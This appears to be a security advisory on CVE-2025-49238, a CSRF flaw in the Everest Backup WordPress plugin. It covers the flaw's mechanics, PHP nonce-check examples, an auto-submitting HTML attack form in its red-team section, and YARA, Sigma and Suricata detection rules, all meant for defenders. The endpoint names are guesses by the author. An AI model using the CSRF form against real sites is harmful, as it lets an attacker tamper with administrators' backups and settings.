CVE-2025-49238

Executive Summary

CVE-2025-49238 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Everest Backup WordPress plugin, developed by Everestthemes. This vulnerability allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as modifying plugin settings or triggering backup operations, without their consent. The vulnerability exists in all versions up to and including 2.3.3. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept (PoC) or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Everest Backup plugin. It does not affect Apache, Nginx, or other web server software. The plugin is distributed through the official WordPress plugin repository, making it a supply chain risk for any WordPress site using this plugin. Administrators should monitor for updates from the vendor and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – The attacker can modify plugin settings or trigger actions.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the attack requires user interaction, making it less likely to be exploited automatically. However, in a targeted phishing campaign, an attacker could disrupt backup operations or alter plugin configuration.

Deep Dive & Mechanics

The Everest Backup plugin lacks proper CSRF protection on its administrative actions. CSRF vulnerabilities occur when a web application does not validate that a request was intentionally made by the user. In WordPress, this is typically mitigated by including a nonce (number used once) in forms and AJAX requests. The Everest Backup plugin fails to implement this check on certain endpoints, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to the WordPress site.

The attack flow:

1. An attacker identifies a WordPress site running Everest Backup <= 2.3.3.
2. The attacker crafts a malicious HTML page containing a form or JavaScript that submits a request to the vulnerable endpoint (e.g., changing backup settings or triggering a backup).
3. The attacker lures an authenticated administrator to visit the malicious page (e.g., via email, social media, or a compromised site).
4. The administrator’s browser automatically sends the forged request, including their session cookies, to the WordPress site.
5. The server processes the request as if it were legitimate, performing the attacker’s desired action.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s admin-facing functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable: No nonce check
function everest_backup_save_settings() {
    update_option('everest_backup_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=everest-backup'));
}

A patched version would include a nonce verification:

// Patched: Nonce check added
function everest_backup_save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'everest_backup_settings_nonce')) {
        wp_die('Security check failed.');
    }
    update_option('everest_backup_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=everest-backup'));
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: WordPress site with Everest Backup <= 2.3.3 installed and an admin user logged in.
• Attacker: A machine with a web server to host the malicious HTML page.

Exploitation Steps:

1. Identify the vulnerable endpoint. For example, the plugin might have an admin-ajax action or a form submission URL like /wp-admin/admin-post.php?action=everest_backup_trigger.
2. Create a malicious HTML file (e.g., csrf.html):

<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="everest_backup_trigger">
    <input type="hidden" name="backup_type" value="full">
    <input type="submit" value="Click here">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

3. Host this file on the attacker’s server.
4. Send the link to the authenticated admin (e.g., via email).
5. When the admin visits the page, the form auto-submits, triggering a full backup (or other action).

Note: No public exploit code is available; this is a generic CSRF example.

Blue Team (Defensive)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php or /wp-admin/admin-ajax.php with actions related to Everest Backup.
• Look for unusual referrer headers (e.g., from external domains).
• Check server logs for multiple requests from the same IP to the same endpoint in a short time.

Prevention:

• Ensure the plugin is updated to the latest version (once a patch is released).
• Implement a Web Application Firewall (WAF) rule to block requests to plugin endpoints without a valid nonce.
• Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-post.php with action=everest_backup_* parameters.
  • Referrer header pointing to an external domain.
• Host:
  • Unexpected changes to the everest_backup_settings option in the WordPress database.
  • Unauthorized backup files created in the WordPress uploads directory.
• Logs:
  • WordPress debug log entries showing failed nonce checks (if logging is enabled).
  • Web server access logs with POST requests to admin endpoints from unusual user agents.

Detection Engineering

YARA Rule

rule CVE_2025_49238_CSRF_Everest_Backup {
    meta:
        description = "Detects potential CSRF exploitation attempts against Everest Backup plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-49238"
    strings:
        $action1 = "everest_backup_trigger" ascii wide nocase
        $action2 = "everest_backup_save_settings" ascii wide nocase
        $action3 = "everest_backup_delete_backup" ascii wide nocase
        $wp_admin = "/wp-admin/admin-post.php" ascii wide nocase
        $wp_ajax = "/wp-admin/admin-ajax.php" ascii wide nocase
    condition:
        any of ($action*) and any of ($wp_admin, $wp_ajax)
}

Sigma Rule

title: CVE-2025-49238 - CSRF Against Everest Backup Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e9c
status: experimental
description: Detects HTTP POST requests targeting Everest Backup plugin admin actions without a valid referrer.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=everest_backup_trigger'
            - 'action=everest_backup_save_settings'
            - 'action=everest_backup_delete_backup'
    filter:
        cs-referrer|contains: 'target-site.com'  # Replace with your domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the WordPress dashboard
level: medium
tags:
    - attack.t1204
    - cve.2025.49238

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49238 - CSRF Attempt Against Everest Backup"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=everest_backup_"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate "Everest Backup".
2. Monitor for updates from the vendor (Everestthemes) or the WordPress plugin repository.
3. Implement a WAF rule to block requests to plugin endpoints without a valid nonce.

Long-term Fix:

• The vendor must add CSRF nonce checks to all admin-facing actions in the plugin. The fix should follow WordPress best practices:
  • Use wp_nonce_field() in forms.
  • Verify nonces with check_admin_referer() or wp_verify_nonce().
• Once a patched version (e.g., 2.3.4) is released, update immediately.

Workaround:

• If the plugin cannot be disabled, restrict access to the WordPress admin panel using IP whitelisting or two-factor authentication (2FA) to reduce the risk of CSRF.

Valters IT